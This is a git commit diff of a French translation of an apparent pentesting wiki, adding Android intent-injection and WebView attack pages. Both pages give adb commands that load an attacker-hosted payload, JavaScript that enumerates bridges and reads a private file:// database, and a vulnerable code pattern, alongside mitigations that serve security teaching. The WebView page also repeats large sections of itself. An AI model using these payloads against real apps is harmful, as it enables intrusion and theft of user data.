Translated ['src/mobile-pentesting/android-app-pentesting/intent-injecti

This commit is contained in:
Translator 2025-08-20 19:22:12 +00:00
parent b35a9e20d0
commit d13c1d4970
6 changed files with 328 additions and 89 deletions

View File

@ -50,6 +50,7 @@ def ref(matchobj):
pass #nDont stop on broken link
else:
try:
href = href.replace("`", "") # Prevent hrefs like: ../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
@ -61,9 +62,10 @@ def ref(matchobj):
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
@ -74,7 +76,7 @@ def ref(matchobj):
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.debug(e)
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
logger.error(f'Error getting chapter title: {rel_path}')
sys.exit(1)

View File

@ -21,6 +21,7 @@
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
@ -32,6 +33,8 @@
- [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
- [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
- [Discord Invite Hijacking](generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md)
- [Homograph Attacks](generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md)
- [Mobile Phishing Malicious Apps](generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md)
- [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
- [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
- [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
@ -76,6 +79,7 @@
# 🧙‍♂️ Generic Hacking
- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
- [Brute Force - CheatSheet](generic-hacking/brute-force.md)
- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
- [Exfiltration](generic-hacking/exfiltration.md)
@ -92,6 +96,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
@ -258,7 +263,9 @@
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
- [Adws Enumeration](windows-hardening/active-directory-methodology/adws-enumeration.md)
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
- [Badsuccessor Dmsa Migration Abuse](windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md)
- [BloodHound & Other AD Enum Tools](windows-hardening/active-directory-methodology/bloodhound.md)
- [Constrained Delegation](windows-hardening/active-directory-methodology/constrained-delegation.md)
- [Custom SSP](windows-hardening/active-directory-methodology/custom-ssp.md)
@ -283,6 +290,7 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
@ -317,6 +325,7 @@
- [Android APK Checklist](mobile-pentesting/android-checklist.md)
- [Android Applications Pentesting](mobile-pentesting/android-app-pentesting/README.md)
- [Accessibility Services Abuse](mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md)
- [Android Applications Basics](mobile-pentesting/android-app-pentesting/android-applications-basics.md)
- [Android Task Hijacking](mobile-pentesting/android-app-pentesting/android-task-hijacking.md)
- [ADB Commands](mobile-pentesting/android-app-pentesting/adb-commands.md)
@ -334,6 +343,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
- [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md)
@ -347,6 +357,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
@ -420,6 +431,7 @@
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
- [JSP](network-services-pentesting/pentesting-web/jsp.md)
- [Laravel](network-services-pentesting/pentesting-web/laravel.md)
- [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md)
- [Moodle](network-services-pentesting/pentesting-web/moodle.md)
- [NextJS](network-services-pentesting/pentesting-web/nextjs.md)
- [Nginx](network-services-pentesting/pentesting-web/nginx.md)
@ -758,7 +770,9 @@
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
@ -814,6 +828,7 @@
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
- [AI Security Methodology](AI/AI-Deep-Learning.md)
- [AI MCP Security](AI/AI-MCP-Servers.md)
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
@ -866,7 +881,6 @@
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)
@ -878,6 +892,7 @@
- [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
- [Modbus Protocol](todo/industrial-control-systems-hacking/modbus.md)
- [Radio Hacking](todo/radio-hacking/README.md)
- [Maxiprox Mobile Cloner](todo/radio-hacking/maxiprox-mobile-cloner.md)
- [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
- [Infrared](todo/radio-hacking/infrared.md)
- [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)

View File

@ -1,5 +1,64 @@
{{#include ../../banners/hacktricks-training.md}}
**Jetez un œil à : [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
# Injection d'Intent
{{#include ../../banners/hacktricks-training.md}}
L'injection d'Intent abuse des composants qui acceptent des Intents ou des données contrôlés par l'attaquant qui sont ensuite convertis en Intents. Deux modèles très courants lors des pentests d'applications Android sont :
- Passer des extras conçus à des Activités/Services/BroadcastReceivers exportés qui sont ensuite transférés à des composants privilégiés, non exportés.
- Déclencher des liens profonds VIEW/BROWSABLE exportés qui transfèrent des URL contrôlées par l'attaquant dans des WebViews internes ou d'autres points sensibles.
## Liens profonds → WebView sink (injection de paramètre URL)
Si une application expose un lien profond de schéma personnalisé tel que :
```text
myscheme://com.example.app/web?url=<attacker_url>
```
et l'Activity réceptrice transmet le paramètre de requête `url` dans un WebView, vous pouvez forcer l'application à rendre un contenu distant arbitraire dans son propre contexte WebView.
PoC via adb :
```bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact
- HTML/JS s'exécute à l'intérieur du profil WebView de l'application.
- Si JavaScript est activé (par défaut ou en raison de vérifications mal ordonnées), vous pouvez énumérer/utiliser n'importe quel objet `@JavascriptInterface` exposé, voler des cookies/local storage de WebView, et pivoter.
Voir aussi :
{{#ref}}
webview-attacks.md
{{#endref}}
## Bug d'ordre de vérifications permettant JavaScript
Un bug récurrent est d'activer JavaScript (ou d'autres paramètres WebView permissifs) avant que la liste blanche/validation de l'URL finale ne soit terminée. Si des helpers précoces acceptent votre deep link et que le WebView est configuré en premier, votre chargement final se produit avec JavaScript déjà activé même si les vérifications ultérieures sont défectueuses ou trop tardives.
Ce qu'il faut rechercher dans le code décompilé :
- Plusieurs helpers qui analysent/séparent/reconstruisent l'URL différemment (normalisation incohérente).
- Appels à `getSettings().setJavaScriptEnabled(true)` avant la dernière vérification de la liste blanche de l'hôte/chemin.
- Un pipeline comme : analyser → validation partielle → configurer WebView → vérification finale → loadUrl.
Mitigations
- Canoniser une fois et valider strictement ; échouer en mode fermé.
- N'activer JavaScript qu'après que toutes les vérifications aient réussi et juste avant de charger du contenu de confiance.
- Éviter d'exposer des ponts à des origines non fiables.
## Autres primitives classiques d'injection d'Intent
- startActivity/sendBroadcast utilisant des extras `Intent` fournis par l'attaquant qui sont ensuite re-analysés (`Intent.parseUri(...)`) et exécutés.
- Composants proxy exportés qui transmettent des Intents à des composants sensibles non exportés sans vérifications de permission.
## Références
- [Android Accès aux composants protégés par l'application](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
- [Chaîne d'exploitation Samsung S24 Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 Chaîne d'attaque Samsung S24 (document technique)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Vidéo de démonstration](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -10,13 +10,133 @@ Un aspect critique du développement Android implique la gestion correcte des We
![Exemple de WebView](<../../images/image (1190).png>)
### **Accès aux fichiers dans WebViews**
### **Accès aux fichiers dans les WebViews**
Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode `setAllowFileAccess()`, disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission **android.permission.READ_EXTERNAL_STORAGE** peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (`file://path/to/file`).
#### **Fonctionnalités obsolètes : Accès universel et accès aux fichiers depuis des URL**
- **Accès universel depuis des URL de fichiers** : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des attaques XSS potentielles. Le paramètre par défaut est désactivé (`false`) pour les applications ciblant Android Jelly Bean et les versions plus récentes.
- **Accès universel depuis des URL de fichiers** : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des potentielles attaques XSS. Le paramètre par défaut est désactivé (`false`) pour les applications ciblant Android Jelly Bean et les versions plus récentes.
- Pour vérifier ce paramètre, utilisez `getAllowUniversalAccessFromFileURLs()`.
- Pour modifier ce paramètre, utilisez `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Accès aux fichiers depuis des URL de fichiers** : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu d'autres URL de schéma de fichiers. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité accrue.
- Utilisez `getAllowFileAccessFromFileURLs()` pour vérifier et `setAllowFileAccessFromFileURLs(boolean)` pour définir.
#### **Chargement sécurisé de fichiers**
Pour désactiver l'accès au système de fichiers tout en accédant aux actifs et ressources, la méthode `setAllowFileAccess()` est utilisée. Avec Android R et versions ultérieures, le paramètre par défaut est `false`.
- Vérifiez avec `getAllowFileAccess()`.
- Activez ou désactivez avec `setAllowFileAccess(boolean)`.
#### **WebViewAssetLoader**
La classe **WebViewAssetLoader** est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux actifs et ressources locaux, s'alignant sur la politique de même origine, facilitant ainsi la gestion de CORS.
### loadUrl
C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :
```java
webview.loadUrl("<url here>")
```
Bien sûr, un attaquant potentiel ne devrait jamais être en mesure de **contrôler l'URL** qu'une application va charger.
### **Gestion de JavaScript et du schéma Intent**
- **JavaScript** : Désactivé par défaut dans les WebViews, il peut être activé via `setJavaScriptEnabled()`. La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
- **Schéma Intent** : Les WebViews peuvent gérer le schéma `intent`, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
Exemple d'exploitation utilisant adb :
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://example.com/xss.html"
```
### Javascript Bridge
Une fonctionnalité est fournie par Android qui permet à **JavaScript** dans un WebView d'invoquer des **fonctions d'application Android natives**. Cela est réalisé en utilisant la méthode `addJavascriptInterface`, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelée un _WebView JavaScript bridge_. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.
- **Une extrême prudence est requise** pour les applications ciblant les versions Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant, exploitant la réflexion.
#### Implementing a JavaScript Bridge
- **Les interfaces JavaScript** peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript :
```javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
```
- Le pont JavaScript est activé en ajoutant une interface au WebView :
```javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
```html
<script>
alert(javascriptBridge.getSecret())
</script>
```
- Pour atténuer les risques, **limitez l'utilisation du pont JavaScript** au code expédié avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les appareils plus anciens, définissez le niveau API minimum à 17.
### Exécution de Code à Distance Basée sur la Réflexion (RCE)
- Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation `@JavascriptInterface` empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.
### Débogage à Distance
- Le **débogage à distance** est possible avec **Chrome Developer Tools**, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.
#### Activation du Débogage à Distance
- Le débogage à distance peut être activé pour tous les WebViews au sein d'une application en :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
- Pour activer le débogage de manière conditionnelle en fonction de l'état débogable de l'application :
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Exfiltrer des fichiers arbitraires
- Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :
```javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
```
# Attaques WebView
## Guide sur les configurations et la sécurité de WebView
### Aperçu des vulnérabilités de WebView
Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.
![Exemple de WebView](<../../images/image (1190).png>)
### **Accès aux fichiers dans les WebViews**
Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode `setAllowFileAccess()`, disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission **android.permission.READ_EXTERNAL_STORAGE** peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (`file://path/to/file`).
#### **Fonctionnalités obsolètes : Accès universel et accès aux fichiers depuis des URL**
- **Accès universel depuis des URL de fichiers** : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des attaques XSS potentielles. Le paramètre par défaut est désactivé (`false`) pour les applications ciblant Android Jelly Bean et les versions ultérieures.
- Pour vérifier ce paramètre, utilisez `getAllowUniversalAccessFromFileURLs()`.
- Pour modifier ce paramètre, utilisez `setAllowUniversalAccessFromFileURLs(boolean)`.
- **Accès aux fichiers depuis des URL de fichiers** : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu d'autres URL de schéma de fichiers. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité accrue.
@ -41,10 +161,107 @@ webview.loadUrl("<url here>")
```
Bien sûr, un attaquant potentiel ne devrait jamais être en mesure de **contrôler l'URL** qu'une application va charger.
### **Gestion de JavaScript et des Intent Schemes**
### Deep-linking dans WebView interne (schéma personnalisé → WebView sink)
De nombreuses applications enregistrent des schémas/chemins personnalisés qui dirigent une URL fournie par l'utilisateur vers un WebView intégré à l'application. Si le lien profond est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à rendre un contenu distant arbitraire à l'intérieur de son contexte WebView.
Modèle de manifeste typique (simplifié) :
```xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
```
Flux de code commun (simplifié) :
```java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
```
Modèle d'attaque et PoC via adb :
```bash
# Template force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Impact : la page distante s'exécute dans le contexte de l'application WebView (cookies/session du profil WebView de l'application, accès à tout @JavascriptInterface exposé, accès potentiel à content:// et file:// selon les paramètres).
Conseils de chasse :
- Grep des sources décompilées pour `getQueryParameter("url")`, `loadUrl(`, des sinks WebView, et des gestionnaires de deep-link (`onCreate/onNewIntent`).
- Examinez le manifeste pour les filtres VIEW+BROWSABLE et les schémas/hôtes personnalisés qui correspondent à des activités qui démarrent ensuite un WebView.
- Vérifiez s'il existe plusieurs chemins de deep-link (par exemple, un chemin "navigateur externe" contre un chemin "webview interne") et préférez celui qui s'affiche à l'intérieur de l'application.
### Activation de JavaScript avant vérification (bug d'ordre de vérification)
Une erreur de durcissement fréquente consiste à activer JavaScript ou à configurer des paramètres WebView assouplis avant que la liste blanche finale/la vérification de l'URL cible ne soit terminée. Si la vérification est incohérente entre les helpers ou se produit trop tard, un lien profond d'attaquant peut atteindre un état où :
1) Les paramètres WebView s'appliquent (par exemple, `setJavaScriptEnabled(true)`), et
2) L'URL non fiable est chargée avec JavaScript activé.
Modèle de bug (pseudocode) :
```java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late JS already enabled
// 4) Load
webView.loadUrl(u.toString());
```
Pourquoi c'est exploitable
- Normalisation incohérente : les helpers divisent/reconstruisent l'URL différemment de la vérification finale, créant des incohérences qu'une URL malveillante peut exploiter.
- Pipeline désordonné : activer JS à l'étape 2 s'applique globalement à l'instance WebView, affectant le chargement final même si la vérification échoue par la suite.
Comment tester
- Créez des charges utiles de deep-link qui passent les vérifications initiales et atteignent le site de configuration WebView.
- Utilisez adb pour déclencher des intents VIEW implicites livrant un paramètre `url=` contrôlé par vous :
```bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
```
Si l'exploitation réussit, votre payload exécute JavaScript dans le WebView de l'application. De là, recherchez des ponts exposés :
```html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
```
Directives défensives
- Canonicalisez une fois ; validez strictement contre une seule source de vérité (schéma/hôte/chemin/requête).
- N'appelez `setJavaScriptEnabled(true)` qu'après que tous les contrôles de liste blanche aient réussi et juste avant de charger du contenu de confiance.
- Évitez d'exposer `@JavascriptInterface` à des origines non fiables ; préférez le contrôle par origine.
- Envisagez des instances par WebView pour le contenu de confiance par rapport au contenu non fiable, avec JS désactivé par défaut.
### **Gestion de JavaScript et des schémas d'intention**
- **JavaScript** : Désactivé par défaut dans les WebViews, il peut être activé via `setJavaScriptEnabled()`. La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
- **Intent Scheme** : Les WebViews peuvent gérer le schéma `intent`, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).
- **Schéma d'intention** : Les WebViews peuvent gérer le schéma `intent`, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).
![Vulnerable WebView](<../../images/image (1191).png>)
@ -54,7 +271,7 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url
```
### Javascript Bridge
Une fonctionnalité est fournie par Android qui permet à **JavaScript** dans un WebView d'invoquer des **fonctions d'application Android natives**. Cela est réalisé en utilisant la méthode `addJavascriptInterface`, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelée _WebView JavaScript bridge_. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.
Une fonctionnalité est fournie par Android qui permet à **JavaScript** dans un WebView d'invoquer des **fonctions d'application Android natives**. Cela est réalisé en utilisant la méthode `addJavascriptInterface`, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelée un _WebView JavaScript bridge_. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.
- **Une extrême prudence est requise** pour les applications ciblant les versions Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant, exploitant la réflexion.
@ -72,7 +289,7 @@ return "SuperSecretPassword";
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
```
- L'exploitation potentielle via JavaScript, par exemple, par le biais d'une attaque XSS, permet d'appeler des méthodes Java exposées :
- L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :
```html
<script>
alert(javascriptBridge.getSecret())
@ -82,11 +299,11 @@ alert(javascriptBridge.getSecret())
### Exécution de Code à Distance Basée sur la Réflexion (RCE)
- Une méthode documentée permet d'atteindre le RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation `@JavascriptInterface` empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.
- Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation `@JavascriptInterface` empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.
### Débogage à Distance
- **Le débogage à distance** est possible avec **Chrome Developer Tools**, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.
- Le **débogage à distance** est possible avec **Chrome Developer Tools**, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.
#### Activation du Débogage à Distance
@ -122,10 +339,13 @@ xhr.send(null)
```
## Références
- [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
- [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Review of Android WebViews file access attack vectors](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
- [WheresMyBrowser.Android (demo app)](https://github.com/authenticationfailure/WheresMyBrowser.Android)
- [Android WebView reference](https://developer.android.com/reference/android/webkit/WebView)
- [Deep Links & WebViews Exploitations Part II](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
- [Deep Links & WebViews Exploitations Part I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
- [Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough](https://medium.com/@happyjester80/samsung-s24-exploit-chain-pwn2own-2024-walkthrough-c7a3da9a7a26)
- [Pwn2Own Ireland 2024 Samsung S24 attack chain (whitepaper)](https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html)
- [Demonstration video](https://www.youtube.com/watch?v=LAIr2laU-So)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,57 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
Dans une réponse ping TTL:\
127 = Windows\
254 = Cisco\
Le reste, algúnlinux
$1$- md5\
$2$ou $2a$ - Blowfish\
$5$- sha256\
$6$- sha512
Si vous ne savez pas ce qui se cache derrière un service, essayez de faire une requête HTTP GET.
**Scans UDP**\
nc -nv -u -z -w 1 \<IP> 160-16
